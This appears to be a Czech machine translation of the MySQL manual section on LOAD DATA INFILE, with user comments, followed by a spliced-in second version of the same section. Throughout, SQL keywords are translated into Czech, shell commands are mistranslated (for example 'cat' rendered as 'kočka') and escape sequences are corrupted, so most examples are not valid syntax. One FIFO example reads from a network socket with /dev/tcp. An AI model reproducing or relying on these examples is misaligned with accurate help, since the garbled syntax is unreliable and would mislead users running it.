Referenční příručka MySQL. Obcházení omezení čtení souborů v MySQL Interakce mezi PHP a MySQL

NAČTE DATOVÝ INFILE "file_name.txt" DO TABULKY tbl_name [ UZAVŘENO ""] ] [(col_name,...)]

Příkaz LOAD DATA INFILE čte řádky z textového souboru a velmi vysokou rychlostí je vkládá do tabulky. Pokud je zadáno klíčové slovo LOCAL, soubor se načte z hostitelského počítače. Pokud není zadáno LOCAL, musí být soubor umístěn na serveru. (Volba LOCAL je dostupná v MySQL verze 3.22.6 a novější.)

Pokud jsou textové soubory, které je třeba číst, na serveru, měly by být z bezpečnostních důvodů umístěny buď v adresáři databáze, nebo by měly být čitelné pro všechny uživatele. Chcete-li navíc použít příkaz LOAD DATA INFILE na soubory serveru, musíte mít oprávnění FILE na hostiteli serveru. Viz část 4.2.7 Oprávnění udělená MySQL.

V MySQL 3.23.49 a MySQL 4.0.2 nebude příkaz LOCAL fungovat, pokud je démon mysqld spuštěn s --local-infile=0 nebo pokud klient není povolen LOCAL. Viz část 4.2.4 Bezpečnostní aspekty související s příkazem LOAD DATA LOCAL.

Pokud je zadáno klíčové slovo LOW_PRIORITY, provedení tohoto příkazu LOAD DATA bude zpožděno, dokud ostatní klienti nedokončí čtení tabulky.

Pokud při práci s tabulkami MyISAM zadáte klíčové slovo CONCURRENT, ostatní vlákna mohou načíst data z tabulky, když je spuštěn příkaz LOAD DATA. Použití této funkce bude mít samozřejmě mírný dopad na výkon na provedení LOAD DATA, i když tabulku nepoužívá žádné jiné vlákno současně.

Při použití možnosti LOCAL může být provádění o něco pomalejší než umožnění přímého přístupu serveru k souborům, protože obsah souboru se musí přesunout z klientského hostitele na server. Na druhou stranu v tomto případě není potřeba oprávnění FILE pro načítání lokálních souborů.

Když používáte verze MySQL starší než 3.23.24, příkaz LOAD DATA INFILE nemůže číst z FIFO. Pokud potřebujete číst z FIFO (např. gunzip stdout), měli byste použít LOAD DATA LOCAL INFILE .

Datové soubory můžete také načíst pomocí nástroje mysqlimport. Tento nástroj stahuje soubory odesláním příkazů LOAD DATA INFILE na server. Volba --local způsobí, že mysqlimport načte datové soubory z klientského hostitele. Můžete zadat volbu --compress, abyste získali lepší výkon v pomalých sítích, pokud klient i server podporují protokol komprese dat.

V případech, kdy jsou soubory umístěny na serveru, se server chová podle následujících pravidel:

  • Pokud je zadána absolutní (úplná) cesta k souboru, server použije tuto cestu beze změn.
  • Pokud je zadána relativní cesta k souboru s uvedením jednoho nebo více počátečních adresářů, bude soubor prohledán relativně k zadaným adresářům v datovém adresáři serveru (datadir).
  • Pokud je zadána cesta k souboru bez určení počátečních adresářů, server hledá tento soubor v adresáři používané databáze.

Z toho vyplývá, že soubor zadaný jako `./myfile.txt" je načten z datového adresáře serveru, zatímco soubor zadaný jako `myfile.txt" je načten z používaného adresáře databáze. Například následující příkaz LOAD DATA načte soubor data.txt v adresáři databází pro db1, protože db1 je aktuální databáze, i když příkaz výslovně nařizuje načíst soubor do databázové tabulky db2:

Mysql>USE db1; mysql> NAČTE DATOVÝ INFILE "data.txt" DO TABULKY db2.my_table;

Klíčová slova REPLACE a IGNORE řídí zpracování vstupních záznamů, které jsou duplikáty existujících záznamů se stejnými jedinečnými hodnotami klíče. Pokud zadáte REPLACE , nové řádky nahradí stávající řádky stejným jedinečným klíčem. Pokud zadáte IGNORE , vstupní řádky, které mají stejný jedinečný klíč jako stávající, budou přeskočeny. Pokud není zadán žádný z parametrů, pak pokud je detekována duplicitní hodnota klíče, vyvolá se chyba a zbytek textového souboru je ignorován.

Pokud jsou data načtena z lokálního souboru pomocí klíčového slova LOCAL, pak server nebude moci přerušit přenos dat uprostřed této operace, takže výchozí provedení příkazu je stejné jako při zadání IGNORE.

Při použití LOAD DATA INFILE na prázdné tabulky MyISAM jsou všechny nejedinečné indexy vytvořeny v samostatné dávce (jako v REPAIR). To obvykle výrazně urychlí LOAD DATA INFILE, pokud existuje velký počet indexů.

Příkaz LOAD DATA INFILE doplňuje příkaz SELECT ... INTO OUTFILE. Viz část 6.4.1 Syntaxe příkazu SELECT. Pro zápis dat z databáze do souboru použijte SELECT ... INTO OUTFILE . Pro načtení dat zpět do databáze se používá LOAD DATA INFILE. Syntaxe polí FIELDS a LINES je v obou příkazech stejná. Obě části jsou nepovinné, ale pokud jsou zadány obě, musí být FIELDS před LINES .

Pokud je zadáno pole FIELDS, každý jeho podvýraz (TERMINATED BY, ENCLOSED BY a ESCAPED BY) je také volitelný, ale musí být zadán alespoň jeden z nich.

Pokud není příkaz FIELDS definován, jeho parametry budou standardně nastaveny na následující hodnoty:

POLE UKONČENÁ "\t" UZAVŘENÁ "" UKONČENÁ "\\"

Pokud není příkaz LINES definován, má ve výchozím nastavení následující strukturu:

ČÁRY UKONČENÉ „\n“

Jinými slovy, s výchozím nastavením bude příkaz LOAD DATA INFILE při čtení vstupních dat fungovat následovně:

  • Najít konce řádků jako znaky „\n“.
  • Rozdělte řádky do polí na základě znaků tabulátoru.
  • Neočekávejte, že pole budou uzavřena do uvozovek.
  • Interpretujte znaky tabulátoru, nového řádku nebo `\", které se vyskytují před `\" jako literály, které jsou součástí hodnoty pole.

Naopak, pokud platí výchozí nastavení pro výstup zápisu, příkaz SELECT ... INTO OUTFILE bude fungovat následovně:

  • Mezi pole vložte znaky tabulátoru.
  • Neuzavírejte pole do uvozovek. Znaky `\" použijte k eskalaci výskytů znaků tabulátoru, nového řádku nebo znaků `\", které se objevují mezi hodnotami polí.
  • Vložte nové řádky na konec každého záznamu.

Všimněte si, že položka FIELDS ESCAPED BY `\" vyžaduje dvě zpětná lomítka pro hodnotu, která by se měla číst jako jedno zpětné lomítko.

Volbu IGNORE number LINES lze použít k ignorování záhlaví názvů sloupců na začátku souboru:

Mysql> NAČÍST DATOVÝ INFILE "/tmp/název_souboru" DO TABULKY test IGNOROVAT 1 ŘÁDEK;

Při použití SELECT ... INTO OUTFILE ve spojení s LOAD DATA INFILE k načtení dat z databáze do souboru a poté zpět ze souboru do databáze musí být možnosti zpracování polí a řetězců pro oba příkazy stejné. V opačném případě nebude LOAD DATA INFILE schopen správně interpretovat obsah tohoto souboru. Předpokládejme, že příkaz SELECT ... INTO OUTFILE se používá k zápisu do souboru s poli oddělenými čárkami:

Mysql> SELECT * INTO OUTFILE "data.txt" POLE UKONČENÁ "," FROM ...;

Mysql> NAČTE DATOVÝ VSTUPNÍ SOUBOR "data.txt" DO TABULKY TABULKA POLÍ UKONČENÁ ",";

Mysql> NAČTE DATOVÝ INFILE "data.txt" DO TABULKY TABULKA POLE 2 UKONČENÁ "\t";

Podobný výsledek by byl získán, pokud by byl každý vstupní řádek interpretován jako samostatné pole.

Příkaz LOAD DATA INFILE lze také použít ke čtení souborů přijatých z externích zdrojů. Například pole v souboru formátu databáze dBASE budou oddělena čárkami a uzavřena do dvojitých uvozovek. Pokud řádky v tomto souboru končí novými řádky, můžete k zápisu souboru použít následující příkaz, který ilustruje možnosti nastavení, které zpracovávají pole a řádky:

Mysql> NAČTE DATOVÝ INFILE "data.txt" DO TABULKY tbl_name POLE UKONČENÁ "," UZAVŘENÁ """ ŘÁDKY UKONČENÉ "\n";

Jakákoli z voleb, které zpracovávají pole a řetězce, může určit prázdný řetězec (""). Pokud řetězec není prázdný, musí hodnoty možností FIELDS ENCLOSED BY a FIELDS ESCAPED BY obsahovat jeden znak. Hodnoty možností POLE UKONČENÉ OD a ŘÁDKY UKONČENÉ BY mohou obsahovat více než jeden znak. Chcete-li například napsat řádky končící dvojicí ,,carriage return-line feed'' (jako v textových souborech MS DOS nebo Windows), měli byste zadat následující výraz: ŘÁDKY UKONČENÉ "\r\n" .

CREATE TABLE vtipy (INT NOT NULL PRIMÁRNÍ KLÍČ AUTO_INCREMENT, vtip TEXT NENÍ NULL); NAČTE DATOVÝ VSTUPNÍ SOUBOR "/tmp/jokes.txt" DO TABULKOVÝCH POLE vtipů UKONČENÝCH Z ""; ŘÁDKY UKONČENÉ "\n%%\n" (vtip);

Volba FIELDS ENCLOSED BY řídí pole, která jsou uzavřena mezi specifikovanými znaky. Pokud je parametr OPTIONALLY vynechán, pak ve výstupu (SELECT ... INTO OUTFILE) budou všechna pole uzavřena mezi znaky specifikované v ENCLOSED BY . Příklad takového výstupu (s použitím čárky jako oddělovače polí) je uveden níže:

"1","řetězec","100,20" "2","řetězec obsahující , čárku","102,20" "3","řetězec obsahující \" uvozovku","102,20" "4"," řetězec obsahující \", uvozovku a čárku","102.20"

Pokud je zadán parametr OPTIONALLY, pak pouze pole typu CHAR a VARCHAR jsou zvýrazněna znakem uvedeným v ENCLOSED BY:

1,"řetězec",100,20 2,"řetězec obsahující , čárku",102,20 3,"řetězec obsahující \" uvozovku",102,20 4,"řetězec obsahující \", uvozovku a čárku",102,20

Vezměte prosím na vědomí, že výskyt znaků ENCLOSED BY v hodnotě pole je escapován jejich přidáním předpony z ESCAPED BY . Uvědomte si také, že pokud je hodnota ESCAPED BY prázdná, je možné vytvořit výstup, který příkaz LOAD DATA INFILE nedokáže správně přečíst. Pokud je například znak escape prázdný řetězec, bude výstup zobrazený výše vypadat jako níže. Všimněte si, že druhé pole na čtvrtém řádku obsahuje za uvozovkou čárku, která (chybně) toto pole vymezuje:

1,"a řetězec",100.20 2,"řetězec obsahující , čárku",102.20 3,"řetězec obsahující "citát",102.20 4,"řetězec obsahující ", uvozovku a čárku",102.20

Pro zadání je z obou konců hodnot pole odstraněn znak ENCLOSED BY, pokud je přítomen. (To platí bez ohledu na to, zda je parametr OPTIONALLY zadán či nikoli; parametr OPTIONALLY se při práci se vstupními daty nebere v úvahu.) Pokud je nalezen znak ENCLOSED BY, kterému předchází znak ESCAPED BY, je interpretován jako součást aktuální hodnotu pole. Navíc dvojité ENCLOSED BY znaky vyskytující se v poli jsou interpretovány jako jednotlivé ENCLOSED BY znaky, pokud pole samotné začíná tímto znakem. Pokud je například zadáno ENCLOSED BY """, budou uvozovky zpracovány následovně:

""VELKÝ" šéf" -> "VELKÝ" šéf "VELKÝ" šéf -> "VELKÝ" šéf ""VELKÝ" šéf -> "VELKÝ" šéf

Volba FIELDS ESCAPED BY se používá k ovládání zápisu nebo čtení speciální znaky. Pokud znak FIELDS ESCAPED BY není prázdný, použije se jako předpona pro následující znaky ve výstupu:

  • POLE UNIKNUTÁ symbolem
  • POLE UZAVŘENÁ symbolem
  • První znak hodnot FIELDS TERMINATED BY a LINES TERMINATED BY
  • Znak ASCII 0 (ve skutečnosti se za znak escape zapisuje ASCII „0“, nikoli bajt s nulovou hodnotou)

Je-li znak FIELDS ESCAPED BY prázdný, nebudou žádné znaky uvozeny. Ve skutečnosti nemá smysl zadávat prázdný znak escape, zvláště pokud hodnoty polí ve zpracovávaných datech obsahují některý ze znaků ve výše uvedeném seznamu.

Pokud znak FIELDS ESCAPED BY není prázdný, pak jsou v případě vstupních dat výskyty takového znaku odstraněny a znak následující za takovým výskytem je brán doslova jako součást hodnoty pole. Výjimky jsou escapovány „0“ nebo „N“ (například \0 nebo \N, pokud je escape znak „\“). Tyto sekvence jsou interpretovány jako ASCII 0 (bajt s nulovou hodnotou) a NULL . Viz pravidla pro zacházení s hodnotou NULL níže.

Chcete-li získat více úplné informace Syntaxi znaku escape `\" viz část 6.1.1 Literály: Reprezentace řetězců a čísel.

V některých případech se možnosti zpracování polí a řádků vzájemně ovlivňují:

  • Pokud je LINES TERMINATED BY prázdný řetězec a FIELDS TERMINATED BY není prázdný řetězec, pak řádky končí také znaky FIELDS TERMINATED BY .
  • Pokud jsou pole FIELDS TERMINATED BY a FIELDS ENCLOSED BY prázdná (""), použije se formát s pevným řetězcem (bez oddělovačů). Formát pevných linek neposkytuje žádné oddělovače mezi poli. Místo toho se při čtení a zápisu hodnot sloupců používá "výstupní" šířka sloupců. Pokud je například sloupec deklarován jako INT(7) , hodnoty pro tento sloupec jsou zapsány pomocí polí o šířce 7 znaků. Vstupní hodnoty pro tento sloupec se získají načtením 7 znaků. Formát s pevným řetězcem také ovlivňuje zpracování hodnot NULL (viz níže). Pamatujte, že formát pevné velikosti nebude fungovat při použití vícebajtové znakové sady.

S hodnotami NULL se bude zacházet odlišně v závislosti na použitých možnostech FIELDS a LINES:

  • Pro výchozí hodnoty FIELDS a LINES se NULL zapíše jako \N pro výstup a \N se čte jako NULL pro vstup (za předpokladu, že znak ESCAPED BY je `\").
  • Pokud pole FIELDS ENCLOSED BY není prázdné, pak pole, jehož hodnota je slovo s NULL, se přečte jako hodnota NULL (na rozdíl od slova NULL uzavřeného mezi znaky FIELDS ENCLOSED BY, které se přečte jako řetězec "NULL").
  • Pokud je pole FIELDS ESCAPED BY prázdné, zapíše se NULL jako slovo NULL .
  • Ve formátu s pevným řetězcem (který nastane, pokud jsou oba specifikátory FIELDS TERMINATED BY a FIELDS ENCLOSED BY prázdné) se NULL zapíše jako prázdný řetězec. Všimněte si, že to způsobí, že hodnota NULL a prázdný řetězec v dané tabulce budou při zápisu do souboru nerozlišitelné, protože oba jsou zapsány jako prázdné řetězce. Pokud chcete, aby se tyto hodnoty při zpětném načítání souboru lišily, neměli byste používat pevný formát.

Některé případy nejsou podporovány příkazem LOAD DATA INFILE:

  • Řádky s pevnou velikostí (FIELDS TERMINATED BY a FIELDS ENCLOSED BY jsou prázdné) a sloupce BLOB nebo TEXT.
  • Pokud je zadán oddělovač, který je stejný jako oddělovač nebo je předponou jiného, ​​nebude LOAD DATA INFILE schopen správně interpretovat vstup. Problémy by způsobil například následující příkaz FIELDS: POLE UKONČENO OD """ UZAVŘENO OD """
  • Pokud je volba FIELDS ESCAPED BY prázdná, výskyt znaku FIELDS ENCLOSED BY nebo LINES TERMINATED BY v hodnotě pole následovaný znakem FIELDS TERMINATED BY způsobí, že příkaz LOAD DATA INFILE předčasně ukončí čtení pole nebo řádku. K tomu dochází, protože LOAD DATA INFILE nemůže správně určit, kde končí pole nebo řádek.

Následující příklad načte všechny sloupce tabulky osobních údajů:

Mysql> NAČTE DATOVÝ INFILE "persondata.txt" DO TABULKY osobních údajů;

Není zadán seznam polí, takže příkaz LOAD DATA INFILE očekává, že vstupní řádky naplní každý sloupec tabulky. To používá výchozí hodnoty FIELDS a LINES.

Pokud chcete načíst pouze některé sloupce tabulky, musíte zadat seznam sloupců:

Mysql> NAČTE DATOVÝ INFILE "persondata.txt" DO TABULKY persondata (col1,col2,...);

Seznam polí je nutné uvést i v případech, kdy se pořadí polí ve vstupním souboru liší od pořadí sloupců v této tabulce. V opačném případě se MySQL nebude moci shodovat se vstupními poli a sloupci tabulky.

Pokud má řádek příliš málo polí, sloupce, které ve vstupním souboru nemají pole, se nastaví na výchozí hodnoty. Přiřazení výchozích hodnot je popsáno v části 6.5.3 Syntaxe příkazu CREATE TABLE.

Hodnota prázdného pole je interpretována jinak než žádná hodnota:

  • U typů řetězců je sloupec nastaven na prázdný řetězec.
  • U číselných typů je sloupec nastaven na 0.
  • U typů data a času je sloupec nastaven na odpovídající hodnotu daného typu, ,,null''. Viz část 6.2.2 Typy dat data a času.

Všimněte si, že se jedná o stejné hodnoty, které by skončily ve sloupci v důsledku explicitního přiřazení prázdného řetězce řetězcovým, číselným sloupcům nebo sloupcům data/času v příkazu INSERT nebo UPDATE.

Sloupce typu TIMESTAMP jsou nastaveny pouze na aktuální datum nebo čas, pokud je sloupec nastaven na NULL nebo (pouze pro první sloupec TIMESTAMP), pokud je sloupec TIMESTAMP mimo seznam polí, pokud je takový seznam uveden.

Pokud má vstupní řetězec příliš mnoho polí, nadbytečná pole budou ignorována a počet varování se zvýší.

Příkaz LOAD DATA INFILE interpretuje veškerý vstup jako řetězce, takže nemůžete zadat číselné hodnoty pro sloupce ENUM nebo SET stejným způsobem jako pro příkazy INSERT. Všechny hodnoty ENUM a SET musí být zadány jako řetězce!

Při použití C API můžete získat informace o dotazu voláním funkce mysql_info() API na konci dotazu, LOAD DATA INFILE . Formát informačního řádku pro tento případ je uveden níže:

Záznamy: 1 Smazáno: 0 Přeskočeno: 0 Varování: 0

Varování se vydávají za stejných okolností jako při zápisu hodnot pomocí příkazu INSERT (viz část 6.4.3 Syntaxe příkazu INSERT), kromě toho, že příkaz LOAD DATA INFILE navíc generuje varování, když má vstupní řetězec příliš málo nebo příliš mnoho polí. Varování nejsou nikde uložena; Počet varování lze použít pouze ke kontrole, zda byly zadané akce dokončeny normálně. Pokud chcete přesně vědět, co způsobilo varování, spusťte SELECT ... INTO OUTFILE na jiném souboru a porovnejte výsledek s původním vstupním souborem, je to jediný způsob, jak tyto informace získat.

Pokud potřebujete provést LOAD DATA pro čtení z roury, můžete použít následující trik:

Mkfifo /mysql/db/x/x chmod 666 /mysql/db/x/x cat /nt/mysql/db/x/x mysql -e "NAČTE DATOVÝ VSTUP "x" DO TABULKY x" x

Při použití verze MySQL starší než 3.23.25 lze výše uvedené provést pouze pomocí LOAD DATA LOCAL INFILE .

Chcete-li získat více detailní informace Informace o účinnosti INSERT ve srovnání s LOAD DATA INFILE a rychlosti LOAD DATA INFILE naleznete v části 5.2.9 Rychlost dotazů INSERT.

Komentáře uživatelů

Zveřejnil to Jason Titus[Smazat] [Upravit]

„Varování se nikde neukládají, počet varování lze použít pouze jako
indikace, zda vše proběhlo v pořádku"

To si ze mě děláš srandu. Dělá se to jako nějaký druh trestu DBA? tj. - My
VÍTE, jaké byly problémy, ale budete muset vytvořit výstupní soubor a prohlédnout si jej
vaše miliony záznamů, abyste je našli." Nedávalo je MySQL do protokolu chyb,
kam patří? Pokračujte a udělejte z toho možnost, ale to je dost problémů
přejdu zpět na Oracle (a to zabere hodně).

Napsal campbell v pátek 17. května 2002, @6:24am[Smazat] [Upravit]

Za druhé. (!) Nechápu jak ty
napište tu větu s upřímnou tváří.

Napsal Jonathon Padfield v pátek 17. května 2002, @6:24am[Smazat] [Upravit]

Také žádné informace o tom, které řádky jsou přeskočeny
je dáno.

Napsal v pátek 17. května 2002, 6:24[Smazat] [Upravit]

Tato funkce je velmi užitečná při odesílání
INSERT z webové stránky. Pokud uživatel zasáhne
obnoví a znovu odešle data formuláře, což vede k a
následné VLOŽENÍ stejných dat primárního klíče,
bum, aplikace se přeruší. Tímto způsobem by uživatel mohl
stiskněte F5, dokud jejich obličej nezmodrá, a oni
neporuší příkaz REPLACE.

[Smazat] [Upravit]

Mám složku MyDB v c:\mysql\data
Umístím tam Data.txt a když spustím
NAČTE DATA LOKÁLNÍ VSTUPNÍ SOUBOR "Data.txt" DO TABULKY
MyTable říká: Příkaz byl úspěšně proveden
ale do MyTable se nepřidávají ŽÁDNÉ hodnoty.
Jsem pod W2K

Napsal van hoof philip v pátek 17. května 2002, @6:24am[Smazat] [Upravit]

Chci synchronizovat svou databázi s jinou
databáze čas od času. To znamená, že já
bude muset použít věc REPLACE. Ale co
záznamy, které v novějších již neexistují
databáze. Budou smazány v MySQL?
Existuje způsob, jak je automaticky smazat? Nebo je
jediné řešení, jak zrušit moji tabulku MySQL a znovu vytvořit
než to začnu načítat. Používám crontab
skripty pro tuto operaci, takže žádná lidská interakce
je možné během těchto operací.

Napsal v pátek 17. května 2002, 6:24[Smazat] [Upravit]

V dokumentaci není jasné co
představuje v této oblasti „jedinečný“ klíč/index. To
zpětné odkazy na "vložit", ale vložit ne
mít takové omezení. Našel jsem toho primárního
klíče jsou dostatečně jedinečné, ale musel jsem přidat
primárky, kde jsem je nechtěl. Možná jsem
něco chybí....

Napsal v pátek 17. května 2002, 6:24[Smazat] [Upravit]

Je velmi frustrující dostávat varování, když je
importovat data do databáze MySQL a nebýt
mít přístup k jakýmkoli informacím o varováních.
MySQL opravdu potřebuje přidat funkci, která bude
spíše než jen nahlásit, o čem varování je
nahlásit varování. Ideálně informace o
varování by mělo být poskytnuto okamžitě. Na
přinejmenším nějaký druh chybového protokolu by měl být
vytvořené, ke kterým má uživatel přístup.

Napsal v pátek 17. května 2002, 6:24[Smazat] [Upravit]

Na téma "F5, dokud jim obličej nezmodrá"...

To by mělo být ošetřeno v aplikaci. To
rozhodně neuškodí říct uživateli: "Vy"
už to zadal. Přestaňte prosím obnovovat."

Vlastně kvůli počtu hypernetrpělivých konce
lusers tam venku, to vypadá jako zvláště
dobrý nápad.

Napsal Larry Irwin v úterý 20. srpna 2002 v 11:50[Smazat] [Upravit]

Bylo by velmi užitečné mít další možnost
na "IGNORE CONSTRAINTS" během načítání
proces.

Napsal ve čtvrtek 5. září 2002, @1:34am[Smazat] [Upravit]

Existuje háček s „na prázdném stole MyISAM, vše
nejedinečné indexy se vytvářejí v samostatné dávce"
protože použitý mechanismus je „oprava s
keycache“, která může být velmi pomalá, pokud jich máte hodně
indexy. Člověk k tomu opravdu potřebuje použít mechanismus
zastavte vytváření klíčů a poté proveďte opravu pomocí
myisamchk pomocí "opravit s řazením", jak je popsáno v
oddíl 5.2.9 (pokud můžeš nech to fungovat:-()

Napsal ve středu 9. října 2002, 12:43[

Syntaxe LOAD DATA INFILE

NAČÍST DATOVÝ VSTUP " název souboru. txt" DO TABULKY název_tabulky
[UZAVŘENO "]
]
]
[(název_sloupce,...)]
Příkaz LOAD DATA INFILE čte řádky z textového souboru a velmi vysokou rychlostí je načítá do tabulky.
Datové soubory můžete také načíst pomocí nástroje pro import mysql. Funguje to tak, že se na server odešle příkaz LOAD data INFILE. Volba --local způsobí, že obslužný program mysqlimport načte datový soubor z hostitelského počítače. Můžete zadat volbu -compress pro zlepšení výkonu v pomalých sítích, pokud klient a server podporují komprimovaný protokol.
Pokud je zadáno klíčové slovo LOW_PRIORITY, provedení příkazu LOAD DATA se zdrží, dokud všichni ostatní klienti nedokončí čtení.
Pokud je klíčové slovo CONCURRENT zadáno s tabulkou MyISAM, která splňuje podmínku souběžného vkládání (to znamená, že nemá žádné volné bloky uprostřed souboru), budou ostatní vlákna moci načíst data z tabulky ve stejnou dobu, kdy se NAČÍTAJÍ DATA se provádí. Použití této možnosti má mírný dopad na výkon na LOAD DATA, i když na stole neběží žádné jiné vlákno.
Pokud je zadáno klíčové slovo LOCAL, ovlivní to klientskou stranu připojení.

  1. Pokud je zadáno LOCAL, soubor je přečten klientským programem na hostitelském počítači a odeslán na server.
  2. Pokud není zadáno slovo LOCAL, musí být stažený soubor umístěn na hostitelském serveru a server jej čte přímo.

LOCAL je k dispozici v MySQL 3.22.6 a novějších.
Z bezpečnostních důvodů musí být při čtení textových souborů umístěných na serveru soubory buď umístěny v datovém adresáři, nebo musí být čitelné pro každého. Chcete-li navíc používat LOAD DATA se soubory serveru, musíte mít oprávnění FILE.
Stahování pomocí možnosti LOCAL je o něco pomalejší, než když serveru poskytnete možnost přímého přístupu ke staženým souborům, protože v tomto případě je obsah souborů přenášen po síti prostřednictvím spojení klient-server. Na druhou stranu v tomto případě nepotřebujete oprávnění FILE.
Od verze MySQL 3.23.49 a MySQL 4.0.2 (4.0.13 na Windows) LOCAL funguje pouze tehdy, pokud to klient i server umožňují. Pokud je například mysqld spuštěn s volbou -local-inf ile=0, pak LOCAL nebude fungovat.

Pokud potřebujete číst z programového kanálu pomocí LOAD DATA, můžete použít následující techniku:
mkfifo /mysql/db/x/x
chmod 666 /mysql/db/x/x
kočka< /dev/tcp/10.1.1.12/4711 >/mysql/db/x/x
mysql -e "NAČTE DATOVÝ INFILE "x1 DO TABULKY x" x
Pokud pracujete s verzí MySQL starší než 3.23.25, pak lze tuto techniku ​​použít pouze s LOAD DATA LOCAL INFILE.
Pokud máte verzi MySQL starší než 3.23.24, nebudete moci číst z FIFO pomocí příkazu LOAD DATA INFILE. Pokud potřebujete číst z FIFO (např. z výstupu gunzip), použijte místo toho LOAD DATA LOCAL INFILE.
Při hledání souboru ve svém souborovém systému se server řídí následujícími pravidly:

  1. Pokud je zadána absolutní cesta, server ji použije tak, jak je.
  2. Pokud je zadána relativní cesta s jednou nebo více předními komponentami, server hledá soubory vzhledem k jeho datovému adresáři.
  3. Pokud je zadán název souboru bez komponent úvodní cesty, server hledá soubor ve výchozím adresáři dat databáze.

Všimněte si, že tato pravidla znamenají, že soubor s názvem ./myfile.txt se čte z datového adresáře serveru, zatímco soubor s názvem myfile,txt se čte z výchozího datového adresáře databáze. Například následující příkaz LOAD DATA INFILE čte soubor data.txt z datového adresáře dbl, protože dbl je aktuální databáze, i když příkaz načítá data do db2:
mysql>POUŽÍVAT dbl;
mysql> NAČTE DATOVÝ INFILE "data.txt" DO TABULKY db2.my_table;
Klíčová slova REPLACE a IGNORE řídí práci se vstupními řetězci, které duplikují existující jedinečné klíče v hodnotě.
Pokud je zadáno REPLACE, vstupní řádky nahradí existující řádky (jinými slovy řádky, které mají stejné primární nebo jedinečné hodnoty klíče jako existující řádky v tabulce). Viz REPLACE syntaxe
Pokud je zadáno IGNORE, vstupní řádky, které jsou duplikáty existujících řádků se stejnými hodnotami primárního nebo jedinečného klíče, jsou přeskočeny. Není-li zadána žádná možnost, pak chování závisí na tom, zda je zadáno místní klíčové slovo. Pokud LOCAL není přítomen, pokud je detekován duplicitní klíč, je vygenerována chyba a zbytek textového souboru je ignorován. Pokud je přítomno LOCAL, výchozí chování je stejné, jako kdyby bylo zadáno IGNORE. Důvodem je, že server není schopen zastavit přenos souboru, zatímco operace probíhá.
Pokud chcete během operace načítání dat ignorovat omezení cizího klíče, můžete před spuštěním LOAD DATA vydat příkaz SET FOREIGN_KEY_CHECKS=0.
Pokud spustíte LOAD DATA na prázdné tabulce MyISAM, všechny nejedinečné indexy se vytvoří v samostatné úloze (jako u REPAIR TABLE). To obvykle vede k tomu, že LOAD DATA je mnohem rychlejší, když existuje mnoho indexů. Obvykle to funguje velmi rychle, ale v některých speciálních případech můžete indexy vytvářet ještě rychleji, když je před načtením deaktivujete pomocí ALTER TABLE...DISABLE KEYS

po dokončení načítání znovu vytvoříte indexy a povolíte je pomocí ALTER TABLE... ENABLE KEYS.
LOAD DATA INFILE je doplněk k SELECT...INTO OUTFILE. Viz SELECT Syntaxe Pro zápis dat z tabulky do souboru použijte SELECT... INTO OUTFILE. Chcete-li načíst data zpět ze souboru do tabulky, použijte LOAD DATA INFILE. Syntaxe konstrukcí FIELDS a LINES je pro oba příkazy stejná. Oba tyto konstrukty jsou volitelné, ale pole musí předcházet LINES, pokud jsou oba uvedeny.
Pokud je zadán konstrukt FIELDS, pak všechny jeho parametry (TERMINATED BY, ENCLOSED BY a ESCAPED BY) jsou také volitelné, s výjimkou požadavku, že musí být přítomen alespoň jeden parametr.
Pokud není zadán konstrukt FIELDS, výchozí hodnota je:
POLE UKONČENÁ "tf ENCLOSED BY "ESCAPED BY"
Pokud není zadán konstrukt LINES, výchozí je toto:
ŘÁDKY UKONČENÉ „n! ZAČÍNAJÍCÍ“
Jinými slovy, výchozí chování LOAD DATA INFILE při čtení vstupu je:

  1. Hledejte oddělovače řádků na začátku řádků.
  2. Nevynechejte žádné předpony řádků.
  3. Rozdělte řádek na pole podle znaků tabulátoru.
  4. Neočekávejte, že pole budou citována.
  5. Interpretujte výskyt znaku tabulátoru, odřádkování nebo znaku "\", kterému předchází \, jako doslovné znaky, které jsou součástí hodnoty pole.

Naopak SELECT... INTO OUTFILE se ve výchozím nastavení chová takto:

  1. Zapisuje znaky tabulátoru mezi pole.
  2. Neohraničuje hodnoty polí uvozovkami.
  • Používá *" ke zvýraznění tabulátorů, nových řádků nebo "\ vyskytujících se v hodnotách polí.
  • Zapíše znak nového řádku na konec řádků.
Všimněte si, že zápis FIELDS ESCAPED BY "W bude vyžadovat, abyste zadali dvě zpětná lomítka pro hodnoty, které vyžadují načtení jednoho zpětného lomítka.
Na poznámku!
Pokud jste vygenerovali textový soubor v systému Windows, možná budete muset zadat ŘÁDKY UKONČENÉ "rn, aby byl soubor správně přečten, protože programy Windows obvykle používají tyto dva znaky jako oddělovač řádků. Některé programy, jako je WordPad, mohou používat znak " r" jako oddělovač řádků. Pro čtení takových souborů použijte ŘÁDKY UKONČENÉ "r".
Pokud všechny řádky souboru, který čtete, mají společnou předponu, kterou chcete ignorovat, použijte LINES STARTING BY " předpony_řetězců za účelem přeskočení této předpony. Pokud řádek neobsahuje předponu, je celý přeskočen.

Možnost IGNOROVAT Množství LINES se používá k ignorování zadaného počtu řádků na začátku souboru. Například můžete použít IGNORE I LINES k přeskočení počátečního řádku obsahujícího názvy sloupců:
mysql> NAČÍST DATOVÝ INFILE "/tmp/test.txt" -> DO TABULKY test IGNOROVAT 1 ŘÁDEK;
Když použijete SELECT... INTO OUTFILE ve spojení s LOAD DATA INFILE k zápisu dat z databáze do souboru a následnému načtení a načtení zpět do databáze, musí být možnosti správy řádků a polí pro oba příkazy stejné. V opačném případě nebude LOAD DATA INFILE schopen správně interpretovat obsah textového souboru. Předpokládejme, že jste použili SELECT...INTO OUTFILE pro výstup dat do textového souboru, přičemž pole oddělte čárkami:
mysql> VYBRAT* INTO OUTFILE "data.txt" -> POLE UKONČENÁ"," -> FROM tabulka2;
Chcete-li zpětně přečíst soubor oddělený čárkami, správný způsob, jak to provést, je:
mysql> NAČÍST DATOVÝ INFILE "data.txt1 DO TABULKY tabulka2 -> POLE UKONČENA
Pokud se místo toho pokusíte přečíst pomocí níže uvedeného prohlášení, nebude to fungovat, protože LOAD DATA INFILE bude hledat znaky tabulátoru mezi hodnotami polí:
mysql> NAČTE DATOVÝ VSTUP "data.txt" DO TABULKY tabulka2 -> POLE UKONČENÁ „t“;
Nejpravděpodobnějším výsledkem bude interpretace vstupního řetězce jako jednoho pole.
LOAD DATA INFILE lze také použít ke čtení souborů z externích zdrojů. Soubor může mít například pole oddělená čárkami a uzavřená v uvozovkách. Pokud jsou řádky v souboru odděleny znakem nového řádku, následující příklad ukazuje, jaké možnosti oddělovače řádků a sloupců je třeba nastavit, aby se soubor načetl:
